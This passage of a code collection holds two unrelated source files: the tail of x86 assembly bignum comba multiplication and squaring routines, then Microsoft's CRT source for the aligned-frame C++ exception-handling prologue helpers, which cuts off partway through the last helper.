# mul a[3]*b[1]
mull %edx
addl %eax,%ecx
movl 8(%esi),%eax
adcl %edx,%ebp
movl 8(%edi),%edx
adcl $0,%ebx
# mul a[2]*b[2]
mull %edx
addl %eax,%ecx
movl 4(%esi),%eax
adcl %edx,%ebp
movl 12(%edi),%edx
adcl $0,%ebx
# mul a[1]*b[3]
mull %edx
addl %eax,%ecx
movl 20(%esp),%eax
adcl %edx,%ebp
movl 8(%edi),%edx
adcl $0,%ebx
movl %ecx,16(%eax)
movl 12(%esi),%eax
# saved r[4]
# ################## Calculate word 5
xorl %ecx,%ecx
# mul a[3]*b[2]
mull %edx
addl %eax,%ebp
movl 8(%esi),%eax
adcl %edx,%ebx
movl 12(%edi),%edx
adcl $0,%ecx
# mul a[2]*b[3]
mull %edx
addl %eax,%ebp
movl 20(%esp),%eax
adcl %edx,%ebx
movl 12(%edi),%edx
adcl $0,%ecx
movl %ebp,20(%eax)
movl 12(%esi),%eax
# saved r[5]
# ################## Calculate word 6
xorl %ebp,%ebp
# mul a[3]*b[3]
mull %edx
addl %eax,%ebx
movl 20(%esp),%eax
adcl %edx,%ecx
adcl $0,%ebp
movl %ebx,24(%eax)
# saved r[6]
# save r[7]
movl %ecx,28(%eax)
popl %ebx
popl %ebp
popl %edi
popl %esi
ret
.globl _bn_sqr_comba8
.align 4
_bn_sqr_comba8:
L_bn_sqr_comba8_begin:
pushl %esi
pushl %edi
pushl %ebp
pushl %ebx
movl 20(%esp),%edi
movl 24(%esp),%esi
xorl %ebx,%ebx
xorl %ecx,%ecx
movl (%esi),%eax
# ############### Calculate word 0
xorl %ebp,%ebp
# sqr a[0]*a[0]
mull %eax
addl %eax,%ebx
adcl %edx,%ecx
movl (%esi),%edx
adcl $0,%ebp
movl %ebx,(%edi)
movl 4(%esi),%eax
# saved r[0]
# ############### Calculate word 1
xorl %ebx,%ebx
# sqr a[1]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 8(%esi),%eax
adcl $0,%ebx
movl %ecx,4(%edi)
movl (%esi),%edx
# saved r[1]
# ############### Calculate word 2
xorl %ecx,%ecx
# sqr a[2]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 4(%esi),%eax
adcl $0,%ecx
# sqr a[1]*a[1]
mull %eax
addl %eax,%ebp
adcl %edx,%ebx
movl (%esi),%edx
adcl $0,%ecx
movl %ebp,8(%edi)
movl 12(%esi),%eax
# saved r[2]
# ############### Calculate word 3
xorl %ebp,%ebp
# sqr a[3]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 8(%esi),%eax
adcl $0,%ebp
movl 4(%esi),%edx
# sqr a[2]*a[1]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 16(%esi),%eax
adcl $0,%ebp
movl %ebx,12(%edi)
movl (%esi),%edx
# saved r[3]
# ############### Calculate word 4
xorl %ebx,%ebx
# sqr a[4]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 12(%esi),%eax
adcl $0,%ebx
movl 4(%esi),%edx
# sqr a[3]*a[1]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 8(%esi),%eax
adcl $0,%ebx
# sqr a[2]*a[2]
mull %eax
addl %eax,%ecx
adcl %edx,%ebp
movl (%esi),%edx
adcl $0,%ebx
movl %ecx,16(%edi)
movl 20(%esi),%eax
# saved r[4]
# ############### Calculate word 5
xorl %ecx,%ecx
# sqr a[5]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 16(%esi),%eax
adcl $0,%ecx
movl 4(%esi),%edx
# sqr a[4]*a[1]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 12(%esi),%eax
adcl $0,%ecx
movl 8(%esi),%edx
# sqr a[3]*a[2]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 24(%esi),%eax
adcl $0,%ecx
movl %ebp,20(%edi)
movl (%esi),%edx
# saved r[5]
# ############### Calculate word 6
xorl %ebp,%ebp
# sqr a[6]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 20(%esi),%eax
adcl $0,%ebp
movl 4(%esi),%edx
# sqr a[5]*a[1]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 16(%esi),%eax
adcl $0,%ebp
movl 8(%esi),%edx
# sqr a[4]*a[2]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 12(%esi),%eax
adcl $0,%ebp
# sqr a[3]*a[3]
mull %eax
addl %eax,%ebx
adcl %edx,%ecx
movl (%esi),%edx
adcl $0,%ebp
movl %ebx,24(%edi)
movl 28(%esi),%eax
# saved r[6]
# ############### Calculate word 7
xorl %ebx,%ebx
# sqr a[7]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 24(%esi),%eax
adcl $0,%ebx
movl 4(%esi),%edx
# sqr a[6]*a[1]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 20(%esi),%eax
adcl $0,%ebx
movl 8(%esi),%edx
# sqr a[5]*a[2]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 16(%esi),%eax
adcl $0,%ebx
movl 12(%esi),%edx
# sqr a[4]*a[3]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 28(%esi),%eax
adcl $0,%ebx
movl %ecx,28(%edi)
movl 4(%esi),%edx
# saved r[7]
# ############### Calculate word 8
xorl %ecx,%ecx
# sqr a[7]*a[1]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 24(%esi),%eax
adcl $0,%ecx
movl 8(%esi),%edx
# sqr a[6]*a[2]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 20(%esi),%eax
adcl $0,%ecx
movl 12(%esi),%edx
# sqr a[5]*a[3]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 16(%esi),%eax
adcl $0,%ecx
# sqr a[4]*a[4]
mull %eax
addl %eax,%ebp
adcl %edx,%ebx
movl 8(%esi),%edx
adcl $0,%ecx
movl %ebp,32(%edi)
movl 28(%esi),%eax
# saved r[8]
# ############### Calculate word 9
xorl %ebp,%ebp
# sqr a[7]*a[2]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 24(%esi),%eax
adcl $0,%ebp
movl 12(%esi),%edx
# sqr a[6]*a[3]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 20(%esi),%eax
adcl $0,%ebp
movl 16(%esi),%edx
# sqr a[5]*a[4]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 28(%esi),%eax
adcl $0,%ebp
movl %ebx,36(%edi)
movl 12(%esi),%edx
# saved r[9]
# ############### Calculate word 10
xorl %ebx,%ebx
# sqr a[7]*a[3]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 24(%esi),%eax
adcl $0,%ebx
movl 16(%esi),%edx
# sqr a[6]*a[4]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 20(%esi),%eax
adcl $0,%ebx
# sqr a[5]*a[5]
mull %eax
addl %eax,%ecx
adcl %edx,%ebp
movl 16(%esi),%edx
adcl $0,%ebx
movl %ecx,40(%edi)
movl 28(%esi),%eax
# saved r[10]
# ############### Calculate word 11
xorl %ecx,%ecx
# sqr a[7]*a[4]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 24(%esi),%eax
adcl $0,%ecx
movl 20(%esi),%edx
# sqr a[6]*a[5]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 28(%esi),%eax
adcl $0,%ecx
movl %ebp,44(%edi)
movl 20(%esi),%edx
# saved r[11]
# ############### Calculate word 12
xorl %ebp,%ebp
# sqr a[7]*a[5]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 24(%esi),%eax
adcl $0,%ebp
# sqr a[6]*a[6]
mull %eax
addl %eax,%ebx
adcl %edx,%ecx
movl 24(%esi),%edx
adcl $0,%ebp
movl %ebx,48(%edi)
movl 28(%esi),%eax
# saved r[12]
# ############### Calculate word 13
xorl %ebx,%ebx
# sqr a[7]*a[6]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 28(%esi),%eax
adcl $0,%ebx
movl %ecx,52(%edi)
# saved r[13]
# ############### Calculate word 14
xorl %ecx,%ecx
# sqr a[7]*a[7]
mull %eax
addl %eax,%ebp
adcl %edx,%ebx
adcl $0,%ecx
movl %ebp,56(%edi)
# saved r[14]
movl %ebx,60(%edi)
popl %ebx
popl %ebp
popl %edi
popl %esi
ret
.globl _bn_sqr_comba4
.align 4
_bn_sqr_comba4:
L_bn_sqr_comba4_begin:
pushl %esi
pushl %edi
pushl %ebp
pushl %ebx
movl 20(%esp),%edi
movl 24(%esp),%esi
xorl %ebx,%ebx
xorl %ecx,%ecx
movl (%esi),%eax
# ############### Calculate word 0
xorl %ebp,%ebp
# sqr a[0]*a[0]
mull %eax
addl %eax,%ebx
adcl %edx,%ecx
movl (%esi),%edx
adcl $0,%ebp
movl %ebx,(%edi)
movl 4(%esi),%eax
# saved r[0]
# ############### Calculate word 1
xorl %ebx,%ebx
# sqr a[1]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 8(%esi),%eax
adcl $0,%ebx
movl %ecx,4(%edi)
movl (%esi),%edx
# saved r[1]
# ############### Calculate word 2
xorl %ecx,%ecx
# sqr a[2]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 4(%esi),%eax
adcl $0,%ecx
# sqr a[1]*a[1]
mull %eax
addl %eax,%ebp
adcl %edx,%ebx
movl (%esi),%edx
adcl $0,%ecx
movl %ebp,8(%edi)
movl 12(%esi),%eax
# saved r[2]
# ############### Calculate word 3
xorl %ebp,%ebp
# sqr a[3]*a[0]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 8(%esi),%eax
adcl $0,%ebp
movl 4(%esi),%edx
# sqr a[2]*a[1]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebp
addl %eax,%ebx
adcl %edx,%ecx
movl 12(%esi),%eax
adcl $0,%ebp
movl %ebx,12(%edi)
movl 4(%esi),%edx
# saved r[3]
# ############### Calculate word 4
xorl %ebx,%ebx
# sqr a[3]*a[1]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ebx
addl %eax,%ecx
adcl %edx,%ebp
movl 8(%esi),%eax
adcl $0,%ebx
# sqr a[2]*a[2]
mull %eax
addl %eax,%ecx
adcl %edx,%ebp
movl 8(%esi),%edx
adcl $0,%ebx
movl %ecx,16(%edi)
movl 12(%esi),%eax
# saved r[4]
# ############### Calculate word 5
xorl %ecx,%ecx
# sqr a[3]*a[2]
mull %edx
addl %eax,%eax
adcl %edx,%edx
adcl $0,%ecx
addl %eax,%ebp
adcl %edx,%ebx
movl 12(%esi),%eax
adcl $0,%ecx
movl %ebp,20(%edi)
# saved r[5]
# ############### Calculate word 6
xorl %ebp,%ebp
# sqr a[3]*a[3]
mull %eax
addl %eax,%ebx
adcl %edx,%ecx
adcl $0,%ebp
movl %ebx,24(%edi)
# saved r[6]
movl %ecx,28(%edi)
popl %ebx
popl %ebp
popl %edi
popl %esi
ret
|
{
"language": "Assembly"
}
|
/***
*ehprolg3a.c - Define the _EH_prolog3* compiler helpers for aligned frames
*
* Copyright (c) Microsoft Corporation. All rights reserved.
*
*Purpose:
* EH prologue helpers for the EH security cookie cases, where the cookie
* must be initialized before the EH node is installed. Also defines the
* complementary EH epilogue helpers.
*
* The helpers should be compiled /Gy, at least in retail CRTs, so they
* will be compiled as comdats, and only the ones used will be pulled into
* a release build.
*
* These helpers are for setting up dynamically aligned frames, where the
* local stack allocation must be 8-byte (or better) aligned, either for
* performance reasons (making sure doubles don't cross cache lines) or
* correctness (making sure some SSE types don't cross cache lines).
*
* There are 4 different prologue helpers, to deal with the various
* combinations of a 12-byte -vs- 16-byte exception registration node and
* the presence or absence of a /GS local security cookie.
*
* _EH_prolog3_align
* _EH_prolog3_catch_align
* _EH_prolog3_GS_align
* _EH_prolog3_catch_GS_align
*
* There are 2 different epilogue helpers:
*
* _EH_epilog3_align
* _EH_epilog3_GS_align
****/
#include <vcruntime_internal.h>
/*
* Ignore warnings about unreferenced formal parameters and unsafe FS:0
* assignments.
*/
#pragma warning(disable:4100 4733)
#define bnd repne
/***
*_EH_prolog3_align - Set up C++ EH call frame variation
*
*Purpose:
* Sets up the call frame for a C++ EH function that:
* + uses a 12-byte EH node (function has unwinds, no catch blocks)
* + does not have a local /GS cookie
* + uses an EBX/EBP frame (no FPO)
* + needs dynamic stack alignment
*
*Entry:
* EAX = address of EH handler thunk.
* LocalAllocation = local stack allocation requirement (hereafter, 'N').
* This is the space required after EBX is pushed below the EH node.
* Alignment = alignment requirement.
*
* Incoming stack frame has:
* [ESP+12] callee's return address
* [ESP+8] alignment requirement
* [ESP+4] local stack allocation requirement
* [ESP+0] _EH_prolog3_align's return address
*
*Exit:
* EAX = destroyed
* EBX = ESP on entry + 4 (pointer to callee's parameters)
* EBP = aligned pointer to callee's locals
* ESP = EBP on exit - 28 - N
* All other registers except CC preserved
*
* FS:[0] = set to EBP on exit - 12 to create new link in the EH chain
*
* Stack frame has been set up as follows:
* [EBX+4] (entry [ESP+12]) callee's return address
* [EBX+0] saved EBX
* padding to align stack (if needed)
* [EBP+4] callee's return address (copy of entry [ESP+12])
* [EBP+0] saved EBP
* [EBP-4] EH record state index, initialized to -1
* [EBP-8] address of EH handler thunk
* [EBP-12] saved FS:[0]
* [EBP-16] saved value of EBX on exit
* padding to realign stack (if needed)
* ...
* [EBP-16-N] base of locals allocation
* [EBP-20-N] saved ESI
* [EBP-24-N] saved EDI
* [EBP-28-N] local EH cookie, XORed with value of EBP on exit
*
*******************************************************************************/
extern void __declspec(naked)
_EH_prolog3_align(
unsigned long LocalAllocation,
unsigned long Alignment
)
{
__asm
{
; stack has:
; callee's return addr
; alignment requirement
; allocation size
; ret addr <== ESP
push ecx ; we need an extra reg, so save ECX
mov ecx, [esp+12] ; get the alignment requirement
mov [esp+12], ebx ; save EBX in its final position
lea ebx, [esp+12] ; * and set the new EBX for addressing params
push eax ; save the handler thunk addr, free EAX for use
; stack has:
; callee's return addr
; saved EBX <== EBX
; allocation size
; ret addr
; saved ECX
; handler thunk addr <== ESP
;
; Now calculate the aligned stack pointer, which will be returned in
; EBP. Depending on the padding required, it will point at the ret
; addr in the above stack, or somewhere below that.
lea eax, [esp+8]
neg ecx
and eax, ecx
lea esp, [eax-8]
; ESP now points at or below its position in the previous comment,
; and ESP+8 has the required alignment. Everything below the saved
; EBX is potentially overlapped by the aligned stack frame we're about
; to create, so move those items to safety.
mov eax, [ebx-16] ; the handler thunk address can be moved into
mov [esp], eax ; * its final position (might not move)
mov eax, [ebx-8] ; copy down the ret addr
push eax
mov eax, [ebx-4] ; get the allocation size for later
mov ecx, [ebx-12] ; restore the original ECX
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; (uninitialized) saved EBP (aligned stack location)
; (uninitialized) EH state index
; handler thunk addr
; ret addr <== ESP
mov [esp+12], ebp ; save old EBP and set new EBP frame pointer
lea ebp, [esp+12] ; * for addressing locals
mov dword ptr [esp+8], -1 ; initialize the EH state index
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; ret addr <== ESP
push ebx ; save copy of EBX at EBP-16 for funclet use
sub esp, eax ; allocate the locals allocation space
push esi ; save callee-saved regs
push edi
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; ret addr
; saved value of EBX on exit
; locals allocation area
; saved ESI
; saved EDI <== ESP
mov eax, __security_cookie
xor eax, ebp ; generate local EH cookie
push eax
mov eax, [ebx+4] ; copy callee's return addr above saved EBP
mov [ebp+4], eax ; * so EBP-based stackwalks work better
push [ebp-12] ; move the return address to final position
mov eax, fs:[0] ; set link to next node in EH chain
mov [ebp-12], eax
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; saved FS:[0]
; saved value of EBX on exit
; locals allocation area
; saved ESI
; saved EDI
; local EH security cookie
; ret addr <== ESP
lea eax, [ebp-12] ; all done - link in the EH node
mov fs:[0], eax
bnd ret ; adds 0xF2(BND)prefix to preserve bounds
}
}
/***
*_EH_prolog3_catch_align - Set up C++ EH call frame variation
*
*Purpose:
* Sets up the call frame for a C++ EH function that:
* + uses a 16-byte EH node (function has catch blocks)
* + does not have a local /GS cookie
* + uses an EBX/EBP frame (no FPO)
* + needs dynamic stack alignment
*
*Entry:
* EAX = address of EH handler thunk.
* LocalAllocation = local stack allocation requirement (hereafter, 'N').
* This is the space required after EBX is pushed below the EH node.
* Alignment = alignment requirement.
*
* Incoming stack frame has:
* [ESP+12] callee's return address
* [ESP+8] alignment requirement
* [ESP+4] local stack allocation requirement
* [ESP+0] _EH_prolog3_catch_align's return address
*
*Exit:
* EAX = destroyed
* EBX = ESP on entry + 4 (pointer to callee's parameters)
* EBP = aligned pointer to callee's locals
* ESP = EBP on exit - 32 - N
* All other registers except CC preserved
*
* FS:[0] = set to EBP on exit - 12 to create new link in the EH chain
*
* Stack frame has been set up as follows:
* [EBX+4] (entry [ESP+12]) callee's return address
* [EBX+0] saved EBX
* padding to align stack (if needed)
* [EBP+4] callee's return address (copy of entry [ESP+12])
* [EBP+0] saved EBP
* [EBP-4] EH record state index, initialized to -1
* [EBP-8] address of EH handler thunk
* [EBP-12] saved FS:[0]
* [EBP-16] saved final ESP return value
* [EBP-20] saved value of EBX on exit
* padding to realign stack (if needed)
* ...
* [EBP-20-N] base of locals allocation
* [EBP-24-N] saved ESI
* [EBP-28-N] saved EDI
* [EBP-32-N] local EH cookie, XORed with value of EBP on exit
*
*******************************************************************************/
extern void __declspec(naked)
_EH_prolog3_catch_align(
unsigned long LocalAllocation,
unsigned long Alignment
)
{
__asm
{
; stack has:
; callee's return addr
; alignment requirement
; allocation size
; ret addr <== ESP
push ecx ; we need an extra reg, so save ECX
mov ecx, [esp+12] ; get the alignment requirement
mov [esp+12], ebx ; save EBX in its final position
lea ebx, [esp+12] ; * and set the new EBX for addressing params
push eax ; save the handler thunk addr, free EAX for use
; stack has:
; callee's return addr
; saved EBX <== EBX
; allocation size
; ret addr
; saved ECX
; handler thunk addr <== ESP
;
; Now calculate the aligned stack pointer, which will be returned in
; EBP. Depending on the padding required, it will point at the ret
; addr in the above stack, or somewhere below that.
lea eax, [esp+8]
neg ecx
and eax, ecx
lea esp, [eax-8]
; ESP now points at or below its position in the previous comment,
; and ESP+8 has the required alignment. Everything below the saved
; EBX is potentially overlapped by the aligned stack frame we're about
; to create, so move those items to safety.
mov eax, [ebx-16] ; the handler thunk address can be moved into
mov [esp], eax ; * its final position (might not move)
mov eax, [ebx-8] ; copy down the ret addr
push eax
mov eax, [ebx-4] ; get the allocation size for later
mov ecx, [ebx-12] ; restore the original ECX
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; (uninitialized) saved EBP (aligned stack location)
; (uninitialized) EH state index
; handler thunk addr
; ret addr <== ESP
mov [esp+12], ebp ; save old EBP and set new EBP frame pointer
lea ebp, [esp+12] ; * for addressing locals
mov dword ptr [esp+8], -1 ; initialize the EH state index
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; ret addr <== ESP
push ecx ; save space for saved ESP field of EH node
push ebx ; save copy of EBX at EBP-20 for funclet use
sub esp, eax ; allocate the locals allocation space
push esi ; save callee-saved regs
push edi
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; ret addr
; (uninitialized) saved ESP field of EH node
; saved value of EBX on exit
; locals allocation area
; saved ESI
; saved EDI <== ESP
mov eax, __security_cookie
xor eax, ebp ; generate local EH cookie
push eax
mov [ebp-16], esp ; initialize the EH node's saved ESP field
mov eax, [ebx+4] ; copy callee's return addr above saved EBP
mov [ebp+4], eax ; * so EBP-based stackwalks work better
push [ebp-12] ; move the return address to final position
mov eax, fs:[0] ; set link to next node in EH chain
mov [ebp-12], eax
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; saved FS:[0]
; saved ESP field of EH node
; saved value of EBX on exit
; locals allocation area
; saved ESI
; saved EDI
; local EH security cookie
; ret addr <== ESP
lea eax, [ebp-12] ; all done - link in the EH node
mov fs:[0], eax
bnd ret ; adds 0xF2(BND)prefix to preserve bounds
}
}
/***
*_EH_prolog3_GS_align - Set up C++ EH call frame variation
*
*Purpose:
* Sets up the call frame for a C++ EH function that:
* + uses a 12-byte EH node (function has unwinds, no catch blocks)
* + has a local /GS cookie
* + uses an EBX/EBP frame (no FPO)
* + needs dynamic stack alignment
*
*Entry:
* EAX = address of EH handler thunk.
* LocalAllocation = local stack allocation requirement (hereafter, 'N').
* This is the space required after EBX is pushed below the EH node.
* Alignment = alignment requirement.
*
* Incoming stack frame has:
* [ESP+12] callee's return address
* [ESP+8] alignment requirement
* [ESP+4] local stack allocation requirement
* [ESP+0] _EH_prolog3_GS_align's return address
*
*Exit:
* EAX = destroyed
* EBX = ESP on entry + 4 (pointer to callee's parameters)
* EBP = aligned pointer to callee's locals
* ESP = EBP on exit - 28 - N
* All other registers except CC preserved
*
* FS:[0] = set to EBP on exit - 12 to create new link in the EH chain
*
* Stack frame has been set up as follows:
* [EBX+4] (entry [ESP+12]) callee's return address
* [EBX+0] saved EBX
* padding to align stack (if needed)
* [EBP+4] callee's return address (copy of entry [ESP+12])
* [EBP+0] saved EBP
* [EBP-4] EH record state index, initialized to -1
* [EBP-8] address of EH handler thunk
* [EBP-12] saved FS:[0]
* [EBP-16] saved value of EBX on exit
* padding to realign stack (if needed)
* [EBP-???] local GS cookie, XORed with value of EBP on exit
* ...
* [EBP-16-N] base of locals allocation
* [EBP-20-N] saved ESI
* [EBP-24-N] saved EDI
* [EBP-28-N] local EH cookie, XORed with value of EBP on exit
*
* The local GS cookie will be placed just below the first alignment point at
* or below EBP-16. That is, it is stored at [((EBP-16) & -Alignment)-4].
*
*******************************************************************************/
extern void __declspec(naked)
_EH_prolog3_GS_align(
unsigned long LocalAllocation,
unsigned long Alignment
)
{
__asm
{
; stack has:
; callee's return addr
; alignment requirement
; allocation size
; ret addr <== ESP
push ecx ; we need an extra reg, so save ECX
mov ecx, [esp+12] ; get the alignment requirement
mov [esp+12], ebx ; save EBX in its final position
lea ebx, [esp+12] ; * and set the new EBX for addressing params
push eax ; save the handler thunk addr, free EAX for use
; stack has:
; callee's return addr
; saved EBX <== EBX
; allocation size
; ret addr
; saved ECX
; handler thunk addr <== ESP
;
; Now calculate the aligned stack pointer, which will be returned in
; EBP. Depending on the padding required, it will point at the ret
; addr in the above stack, or somewhere below that.
lea eax, [esp+8]
neg ecx
and eax, ecx
lea esp, [eax-8]
; ESP now points at or below its position in the previous comment,
; and ESP+8 has the required alignment. Everything below the saved
; EBX is potentially overlapped by the aligned stack frame we're about
; to create, so move those items to safety.
mov eax, [ebx-16] ; the handler thunk address can be moved into
mov [esp], eax ; * its final position (might not move)
mov eax, [ebx-8] ; copy down the ret addr
push eax
mov eax, [ebx-12] ; copy down the original ECX
push eax
mov eax, [ebx-4] ; get the allocation size for later
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; (uninitialized) saved EBP (aligned stack location)
; (uninitialized) EH state index
; handler thunk addr
; ret addr
; saved ECX <== ESP
mov [esp+16], ebp ; save old EBP and set new EBP frame pointer
lea ebp, [esp+16] ; * for addressing locals
mov dword ptr [esp+12], -1 ; initialize the EH state index
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; ret addr
; saved ECX <== ESP
and ecx, esp ; get address of realignment point
sub esp, eax ; allocate the locals allocation space
push esi ; save callee-saved regs
push edi
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; (uninitialized) callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; ret addr
; saved ECX
; ... possible padding to realign stack ... <== ECX (aligned)
; (uninitialized) local GS security cookie
; locals allocation area
; saved ESI
; saved EDI <== ESP
mov eax, __security_cookie
xor eax, ebp ; generate local EH and GS cookies
push eax
mov [ecx-4], eax
mov ecx, [ebp-16] ; restore the original ECX
mov [ebp-16], ebx ; save copy of EBX for funclet use
mov eax, [ebx+4] ; copy callee's return addr above saved EBP
mov [ebp+4], eax ; * so EBP-based stackwalks work better
push [ebp-12] ; move the return address to final position
mov eax, fs:[0] ; set link to next node in EH chain
mov [ebp-12], eax
; stack has:
; callee's return addr
; saved EBX <== EBX
; ... possible padding to align stack ...
; callee's return addr
; saved EBP <== EBP (aligned stack location)
; initial EH state index of -1
; handler thunk addr
; saved FS:[0]
; saved value of EBX on exit
; ... possible padding to realign stack ...
; local GS security cookie
; locals allocation area
; saved ESI
; saved EDI
; local EH security cookie
; ret addr <== ESP
lea eax, [ebp-12] ; all done - link in the EH node
mov fs:[0], eax
bnd ret ; adds 0xF2(BND)prefix to preserve bounds
}
}
/***
*_EH_prolog3_catch_GS_align - Set up C++ EH call frame variation
*
*Purpose:
* Sets up the call frame for a C++ EH function that:
* + uses a 16-byte EH node (function has catch blocks)
* + has a local /GS cookie
* + uses an EBX/EBP frame (no FPO)
* + needs dynamic stack alignment
*
*Entry:
* EAX = address of EH handler thunk.
* LocalAllocation = local stack allocation requirement (hereafter, 'N').
* This is the space required after EBX is pushed below the EH node.
* Alignment = alignment requirement.
*
* Incoming stack frame has:
* [ESP+12] callee's return address
* [ESP+8] alignment requirement
* [ESP+4] local stack allocation requirement
* [ESP+0] _EH_prolog3_catch_GS_align's return address
*
*Exit:
* EAX = destroyed
* EBX = ESP on entry + 4 (pointer to callee's parameters)
* EBP = aligned pointer to callee's locals
* ESP = EBP on exit - 32 - N
* All other registers except CC preserved
*
* FS:[0] = set to EBP on exit - 12 to create new link in the EH chain
*
* Stack frame has been set up as follows:
* [EBX+4] (entry [ESP+12]) callee's return address
* [EBX+0] saved EBX
* padding to align stack (if needed)
* [EBP+4] callee's return address (copy of entry [ESP+12])
* [EBP+0] saved EBP
* [EBP-4] EH record state index, initialized to -1
* [EBP-8] address of EH handler thunk
* [EBP-12] saved FS:[0]
* [EBP-16] saved final ESP return value
* [EBP-20] saved value of EBX on exit
* padding to realign stack (if needed)
* [EBP-???] local GS cookie, XORed with value of EBP on exit
* ...
* [EBP-20-N] base of locals allocation
* [EBP-24-N] saved ESI
* [EBP-28-N] saved EDI
* [EBP-32-N] local EH cookie, XORed with value of EBP on exit
*
* The local GS cookie will be placed just below the first alignment point at
* or below EBP-16. That is, it is stored at [((EBP-16) & -Alignment)-4].
*
*******************************************************************************/
extern void __declspec(naked)
_EH_prolog3_catch_GS_align(
unsigned long LocalAllocation,
unsigned long Alignment
)
{
__asm
{
; stack has:
; callee's return addr
; alignment requirement
; allocation size
; ret addr <== ESP
push ecx ; we need an extra reg, so save ECX
